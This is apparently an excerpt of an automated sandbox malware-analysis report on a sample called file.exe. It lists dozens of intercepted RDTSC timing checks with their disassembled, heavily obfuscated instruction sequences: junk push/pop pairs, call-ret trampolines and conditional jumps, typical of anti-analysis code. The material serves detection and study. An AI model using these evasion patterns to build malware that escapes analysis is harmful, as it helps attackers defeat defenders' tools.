Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33152 second address: E33156 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33156 second address: E33183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F743477F922h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F743477F925h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E332D9 second address: E332E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jl 00007F743483E9F6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E335A4 second address: E335B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F743477F916h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E335B4 second address: E335B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBCA43 second address: DBCA50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBCA50 second address: DBCA54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBCA54 second address: DBCA64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F743477F916h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3373C second address: E3376A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jo 00007F743483E9F6h 0x0000000d jmp 00007F743483E9FFh 0x00000012 pop esi 0x00000013 jmp 00007F743483E9FDh 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3376A second address: E33770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E338CD second address: E338DA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F743483E9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E338DA second address: E338E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 js 00007F743477F916h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33A63 second address: E33A69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE140 second address: DDE146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE146 second address: DDE14C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE14C second address: DDE164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F743477F922h 0x0000000c jno 00007F743477F916h 0x00000012 jg 00007F743477F916h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE164 second address: DDE16A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39D85 second address: E39D8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39D8B second address: E39D91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39D91 second address: E39D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39D95 second address: E39D99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E38BD9 second address: E38BF2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F743477F916h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 jnp 00007F743477F916h 0x00000016 pushad 0x00000017 popad 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E39161 second address: E39191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F743483EA02h 0x00000009 pop esi 0x0000000a pushad 0x0000000b jno 00007F743483E9F6h 0x00000011 jng 00007F743483E9F6h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a push ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d jo 00007F743483E9F6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E397C4 second address: E397CA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E397CA second address: E397D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F743483E9F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E397D8 second address: E397E4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F743477F916h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E397E4 second address: E397EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF61C6 second address: C51A22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, 48DF89F5h 0x0000000f sub dword ptr [ebp+122D1E78h], eax 0x00000015 push dword ptr [ebp+122D148Dh] 0x0000001b jmp 00007F743477F91Dh 0x00000020 call dword ptr [ebp+122D34F5h] 0x00000026 pushad 0x00000027 cmc 0x00000028 xor eax, eax 0x0000002a pushad 0x0000002b mov dword ptr [ebp+122D2E6Ah], edx 0x00000031 add dword ptr [ebp+122D2E6Ah], ebx 0x00000037 popad 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c pushad 0x0000003d mov dword ptr [ebp+122D2E6Ah], eax 0x00000043 mov dword ptr [ebp+122D1EA3h], eax 0x00000049 popad 0x0000004a mov dword ptr [ebp+122D38E3h], eax 0x00000050 add dword ptr [ebp+122D1EA3h], edx 0x00000056 mov esi, 0000003Ch 0x0000005b pushad 0x0000005c jmp 00007F743477F920h 0x00000061 jmp 00007F743477F922h 0x00000066 popad 0x00000067 add esi, dword ptr [esp+24h] 0x0000006b mov dword ptr [ebp+122D1E62h], esi 0x00000071 lodsw 0x00000073 mov dword ptr [ebp+122D1EA3h], ecx 0x00000079 add eax, dword ptr [esp+24h] 0x0000007d jmp 00007F743477F921h 0x00000082 mov ebx, dword ptr [esp+24h] 0x00000086 stc 0x00000087 nop 0x00000088 push esi 0x00000089 jnl 00007F743477F91Ch 0x0000008f pop esi 0x00000090 push eax 0x00000091 push eax 0x00000092 push edx 0x00000093 push esi 0x00000094 jne 00007F743477F916h 0x0000009a pop esi 0x0000009b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF64A8 second address: DF64AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6517 second address: DF6521 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F743477F916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6521 second address: DF6525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6525 second address: DF6536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b nop 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF660D second address: DF6631 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jne 00007F743483EA02h 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6631 second address: DF6637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6637 second address: DF663C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF663C second address: DF6642 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF68AF second address: DF6911 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F743483E9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F743483E9F8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 or dword ptr [ebp+122D1F79h], esi 0x0000002c push 00000004h 0x0000002e sub dword ptr [ebp+122D21AEh], edx 0x00000034 nop 0x00000035 jmp 00007F743483EA05h 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e jnl 00007F743483E9F6h 0x00000044 pushad 0x00000045 popad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6C86 second address: DF6CDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F743477F918h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007F743477F928h 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F743477F918h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 push 0000001Eh 0x00000032 mov dword ptr [ebp+122D1A39h], edx 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6CDC second address: DF6CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6CE3 second address: DF6CED instructions: 0x00000000 rdtsc 0x00000002 jo 00007F743477F91Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF70CC second address: DF70D6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF70D6 second address: DF70DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF70DA second address: DF70DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF70DE second address: DDE140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D1EA3h], eax 0x0000000e call dword ptr [ebp+122D5739h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D282 second address: E3D299 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743483EA03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D299 second address: E3D2D0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F743477F923h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F743477F924h 0x00000012 push eax 0x00000013 push edx 0x00000014 jg 00007F743477F916h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D2D0 second address: E3D2D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D2D4 second address: E3D2DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DA5A second address: E3DA5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DA5E second address: E3DA62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DA62 second address: E3DA76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F743483E9F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DA76 second address: E3DA80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F743477F916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DA80 second address: E3DA84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DBB3 second address: E3DBC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F743477F91Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DBC2 second address: E3DBC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DD90 second address: E3DD94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DD94 second address: E3DD9E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F743483E9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DD9E second address: E3DDBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F743477F927h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DDBB second address: E3DDBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DDBF second address: E3DDE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F743477F925h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DDE1 second address: E3DDE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40B80 second address: E40BB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F743477F925h 0x00000008 jmp 00007F743477F926h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40BB5 second address: E40BB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40BB9 second address: E40BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F743477F916h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 jl 00007F743477F916h 0x00000017 jmp 00007F743477F921h 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42EF5 second address: E42F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F743483EA00h 0x0000000c jmp 00007F743483EA09h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42F25 second address: E42F2D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E472DE second address: E472EC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E472EC second address: E472F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E472F0 second address: E47306 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F743483E9F6h 0x00000008 jmp 00007F743483E9FCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47306 second address: E47317 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F743477F91Bh 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47317 second address: E4731D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47857 second address: E47869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F743477F91Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47869 second address: E47883 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743483EA00h 0x00000007 jns 00007F743483E9F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47883 second address: E4789A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F743477F91Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007F743477F916h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4789A second address: E478BE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F743483EA02h 0x0000000e jp 00007F743483E9F6h 0x00000014 jno 00007F743483E9F6h 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e js 00007F743483E9F6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4AA6D second address: E4AA71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4AA71 second address: E4AA7B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F743483E9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4AA7B second address: E4AA82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A370 second address: E4A38F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F743483EA08h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A38F second address: E4A39B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F743477F916h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A39B second address: E4A39F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4FFAA second address: E4FFAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EFA6 second address: E4EFBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 je 00007F743483E9FCh 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6AA5 second address: DF6AF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jp 00007F743477F916h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jo 00007F743477F91Ch 0x00000015 add dword ptr [ebp+1246A425h], edi 0x0000001b mov ebx, dword ptr [ebp+124779BCh] 0x00000021 push 00000000h 0x00000023 push ebp 0x00000024 call 00007F743477F918h 0x00000029 pop ebp 0x0000002a mov dword ptr [esp+04h], ebp 0x0000002e add dword ptr [esp+04h], 00000018h 0x00000036 inc ebp 0x00000037 push ebp 0x00000038 ret 0x00000039 pop ebp 0x0000003a ret 0x0000003b add eax, ebx 0x0000003d xor dword ptr [ebp+122D2351h], ebx 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push edx 0x00000047 jnc 00007F743477F916h 0x0000004d pop edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6AF9 second address: DF6B60 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jns 00007F743483E9F6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F743483E9F8h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 sub edi, 343ED131h 0x0000002f mov dword ptr [ebp+122D1F79h], edx 0x00000035 push 00000004h 0x00000037 push 00000000h 0x00000039 push edx 0x0000003a call 00007F743483E9F8h 0x0000003f pop edx 0x00000040 mov dword ptr [esp+04h], edx 0x00000044 add dword ptr [esp+04h], 00000017h 0x0000004c inc edx 0x0000004d push edx 0x0000004e ret 0x0000004f pop edx 0x00000050 ret 0x00000051 pushad 0x00000052 xor dh, 00000021h 0x00000055 popad 0x00000056 push eax 0x00000057 push edi 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6B60 second address: DF6B64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F299 second address: E4F2B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F743483EA04h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F2B3 second address: E4F2C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F743477F91Eh 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
